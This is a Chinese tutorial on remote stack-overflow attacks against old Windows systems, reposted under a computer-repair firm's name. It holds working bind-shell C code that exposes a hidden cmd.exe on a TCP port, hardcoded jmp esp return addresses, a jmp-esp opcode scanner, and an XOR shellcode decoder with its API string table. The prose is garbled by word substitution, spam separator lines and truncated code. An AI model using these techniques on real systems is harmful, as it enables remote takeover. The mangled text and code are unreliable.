window系统下的远程堆栈溢出 --《原理篇》
----前言
我们来研究windows体系下的远程溢出要领。
我们的目标是研究怎样使用windows步伐的溢出来进行远程打击。
如果对付windows下的缓冲区溢出不是很熟习,请大家复习我前面的文章:
《window体系下的货仓溢出》(IsBaseMagzine 20003)。
本文以及后续的《实战篇》都是建立在该文基础上的。
让我们重新开端。windows 2000 Advanced Server(Build 5.00.2195)
第一篇 《原理篇》
----远程溢出算法
怎样开一个远程shell呢?
思绪是这样的:起首使敌人的步伐溢出,让他执行我们的shellcode。
我们的shellcode的功能便是在敌人的机器上用某个端口开一个telnetd 服务器,
然后等候客户来的连接。当客户连接上之后,为这个客户创始一个cmd.exe,
把客户的输入输入和cmd.exe的输入输入接洽起来,我们
远程的使用者就有了一个远程shell(跟telnet一样啦)。
上面的算法我想大家都该想得到,这内里socket部分比力简略。和Unix下的根本
差未几。便是加了一个WSAStartup;为客户创始一个cmd.exe,便是用CreateProcess
来创建这个子进程;但是怎样把客户的输入输入和cmd.exe的输入输入接洽起来呢?
我使用了匿名管道(Anonymous Pipe)来完成这个接洽过程。
管道(Pipe)是一种简略的进程间通信(IPC)机制。在Windows NT,2000,98,95下都
可以使用。管道分著名和匿名两种,命名管道可以在同一台机器的差别进程间以及差别
机器
上的差别进程之间进行双向通信(使用UNC命名规范)。
匿名管道只是在父子进程之间或者一个进程的两个子进程之间进行通信。他是单向的。
匿名管道实在是经过用给了一个指定名字的著名管道来完成的。
管道的最大好处在于:他可以象对普通文件一样进行操纵。
他的操纵标示符是HANDLE,也便是说,他可以使用readFile,
WriteFile函数来进行与底层完成有关的读写操纵!用户根本就不必了解网络间/进程间
通信的详细细节。
下面便是这个算法的C完成:
/AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优
*/
/* Telnetd.cpp By Ipxodi tested in win2000
To illustrated the method of telnetd.
Only one connection can be accept,
feel free to add select... to fit for multiple client
*/
#include
#include
int main()
{
WSADATA wsa;
SOCKET listenFD;
char Buff[1024];
int ret;
WSAStartup(MAKEWORD(2,2),&wsa);
listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(53764);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
/*
这段代码是用来建立一个Tcp Server的,我们先请求一个socketfd,
使用53764(随便,多少都行)作为这个socket连接的端口,bind他,
然后在这个端口上等候连接listen。步伐壅闭在accept函数直到有
client连接下去。
*/
SECURITY_ATTRIBUTES sa;
sa.nLength=12;sa.lpSecurityDescriptor=0;sa.bInheritHandle=true;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
/*
创建两个匿名管道。hReadPipe只能用来读管道,hWritePipe1只能用来写管道。
*/
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
char cmdLine[] = "cmd.exe";
PROCESS_INformATION ProcessInformation;
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformati
on);
/*
这段代码创建了一个shell(cmd.exe),并且把cmd.exe的尺度输入用第二个管道的
读句柄更换。cmd.exe的尺度输入和尺度错误输入用第一个管道的写句柄更换。
这两个管道的逻辑示意图如下:
(父进程) read<---〔管道一〕<---write 尺度输入(cmd.exe子进程)
(父进程) write--->〔管道二〕--->read 尺度输入(cmd.exe子进程)
*/
unsigned long lBytesRead;
while(1) {
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead) {
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
}else {
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;
ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
}
}
/*
这段代码完成了客户输入和shell的交互。PeekNamedPipe用来异步的查询管道一,
看看shell能否有输入。如果有就readfile读出来,并发送给客户。如果没有,
就去担当客户的输入。并writefile写入管道传递给shell.
这两个管道与client和server的配合逻辑图如下:
输入命令(Client) <-- send(父进程) read<--〔管道一〕<--write 尺度输入
(cmd.exe子进程)
得到结果(Client) recv-->(父进程)write-->〔管道二〕-->read 尺度输入
(cmd.exe子进程)
*/
return 0;
}
/AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优
*/
----shellcode疑难题目
下面来写shellcode。针对windows体系缓冲区溢出的特别性,shellcode有一些新的题目,
我采用如下措施来办理:
1)跳转指令地址的题目
因为在函数返回的时候,esp都指向返回地址后面的地址。(为什么?因为esp在返回
后要指向的地址,便是父函数在压完参数,准备执行call 子函数之前的货仓顶。)
所以,我们的shellcode的开端地位,便是函数返回的时候,esp所指向的地位。因而,
使用jmp esp 就可以跳到我们的shellcode下去。
当然,这内里作了一个假定,便是步伐是由调用者来负责货仓的恢复的。
汇编代码便是这个样子:
push eax;
push ebx;
push ecx;
call SubRutine
add esp,000C
但是,如果是由子步伐来负责恢复货仓,
SubRutine:
....
:010091F3 C9 leave
:010091F4 C20C00 ret 000C
esp就不是指向我们的shellcode开端地位。它将指向shellcode+0c的地位。
究竟上,当你在试图发现敌人步伐的一个溢出点时,这个数值(这里是0C)是可以
很准确的发现的,因为你可以看到他的汇编原代码呀!
为了办理这种情况下shellcode不克不及被正确执行的题目,我们可以在shellcode前面
加上0c个nop.
这样,我们必要作的事情,便是用内存中一个jmp esp指令的地址,来覆盖敌人步伐的返回地址。
在内存中,当然有很多dll都会有jmp esp指令,我选择了kernel32.dll内里的指令,因为
这kernel32.dll是体系核心DLL,加载在前面,后面的dll安置地址要随前面dll的
变更而变更,为了通用性的考虑,采用KERNEL32.DLL。
那么这些地址便是固定的了:
win98第二版下(4.00.2222a),返回地址为:0xbff795a3
winnt4下(4.00.1381),返回地址为:0x77f0eac3
win2000下(5.00.2195),返回地址为:0x77e2e32a
以上地址,我们可以在测试的时候使用,但是,在真正敷衍敌人的时候,为了区别出
选择哪一个地址,就必要起首摸清敌人的操纵体系以及dll版本号。
jmp esp 地址如果不合错误,敌人的步伐就会呈现"有效页错误"对话框,并且一定会当掉,
所以,在打击之前,必需经过一些蛛丝马迹,果断敌人的类型。
以下是测试时候使用的代码:
#ifdef WIN2000
#define JUMPESP "\x2a\xe3\xe2\x77"
#endif
#ifdef WINNT4
#define JUMPESP "\xc3\xea\xf0\x77"
#endif
#ifdef WIN98 //2222a
#define JUMPESP "\xa3\x95\xf7\xbf"
#endif
#ifdef EXPLOIT
#define JUMPESP "敌人目标步伐上的jmp esp地址。"
#endif
如果你有softice,可以直接在内存内里搜ffe4。如果没有,
绿色兵团的Backend 写过一个小步伐可以搜索user32.dll中的FFE4(jmp esp)串。
我把他改了一下,可以搜索指定dll中的FFE4。算法如下:
/AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优*/
/*ffe4.cpp By Backend
*/
bool we_loaded_it = false;
HINSTANCE h;
TCHAR dllname[] = _T("User32");
if(argc>1) {
strcpy(dllname,argv[1]);
}
h = GetModuleHandle(dllname);
if(h == NULL)
{
h = LoadLibrary(dllname);
if(h == NULL)
{
cout<<"ERROR LOADING DLL: "
we_loaded_it = true;
}
BYTE* ptr = (BYTE*)h;
bool done = false;
for(int y = 0;!done;y++)
{
try
{
if(ptr[y] == 0xFF && ptr[y+1] == 0xE4)
{
int pos = (int)ptr + y;
cout<<"OPCODE found at 0x"<}
}
catch(...)
{
cout<<"END OF "
}
if(we_loaded_it) FreeLibrary(h);
/AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优*/
2)shellcode所使用函数的题目
在shellcode内里使用了很多win32函数,比如ReadFile,CreateProcess等等。
这些函数必需加载到了敌人步伐的进程空间内里后我们才能使用。
我们将打击的敌人的远程服务步伐内里并不克不及包管已经load了我们所必要的
所有的函数。
我们盼望可以作出一个平台有关的shellcode,这就必需:
不直接使用OS版本相关的函数入口地址。
这是因为函数入口地址是凭据OS/SP/晋级的版本差别而可能差别的。
唯一的措施便是对使用的每一个win32函数,都使用LoadLibrary加载dll,
用GetProcAddress函数来得到函数地址。这必要我们的shellcode内里有一个函数名表
生存每一个所使用的函数的函数名,并且在shellcode执行前,调用上述两个函数
一一得到这些函数的地址。
但是又有一个题目,便是LoadLibrary和GetProcAddress本身的地址怎么得到呢?
我们想一想,这两个函数的作用?"取得所有其他函数的地址。"
没错,他们太紧张了,每一个win32步伐都要使用它们!那么,我们的目标步伐呢?
一定也会有它们的。所以,在写exploit的时候,这两个函数的地址都是确定的。
怎样找到这两个函数在目标步伐内里的加载地址呢?它们会不会是凭据敌人操纵体系
的差别而变革的呢?不是。这些动态加载的函数都是在目标步伐内里设置了一个入口表。
由目标步伐本身去加载,但是他的入口表地址是固定的。
你可以使用wdasm32来搜索LoadLibrary和GetProcAddress,
可以看到它们对应的入口表地址AAAA。在shellcode内里,
可以直接用call [AAAA]来引用它们。
3)shellcode内里使用的字符串题目
刚刚办理了第二个题目,就引出了第三个题目。前面提到过使用函数名表以用来动态得到
函数地址。但是这些函数名字都要以\0x0结尾的!我们的shellcode最根本的一条,
便是内里绝对不克不及含有\0x0,也不可以有回车换行\n.
办理的措施,便是先对字符串表进行编码(好吓人)处理,处理掉所有的合法字符,
shellcode在使用前,由一个子步伐来进行解码。
我使用的要领便是对字符串进行 xor 0x99处理。这样编解码便是一个步伐了。
下面是编解码步伐:
0xb1, 0xc6, /* mov cl, C6 */
0x8b, 0xc7, /* mov eax, edi */
/*Xorshellcode */ /* */
0x48, /* dec eax */
0x80, 0x30, 0x99, /* xor byte ptr [eax], 99 */
0xe2, 0xfa, /* loop Xorshellcode */
呵呵,一点都不吓人,很简略,是不是?
我们将使用的资源列表便是前面使用的所有函数,加上"cmd.exe"。详细为:
/AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优AV女优*/
db "KERNEL32" ,0;string to push for LoadLibrary.
db "CreatePipe",0
db "GetStartupInfoA",0
db "CreateProcessA",0
db "PeekNamedPipe",0
db "GlobalAlloc",0
db "WriteFile",0
db "ReadFile",0
db "Sleep",0
db "ExitProcess",0
db "WSOCK32",0
db "socket",0
db "bind",0
db "listen",0
db "accept",0
db "send",0
db "recv",0
sockstruc STRUCT
sin_family dw 0002h
sin_port dw ?
sin_addr dd ?
sin_zero db 8 dup (0)
sockstruc ENDS
db "cmd.exe",0
dd 0ffffffffh
db 00dh, 00ah
- 文章作者: 福州军威计算机技术有限公司
军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。
TAG:
评论加载中...
|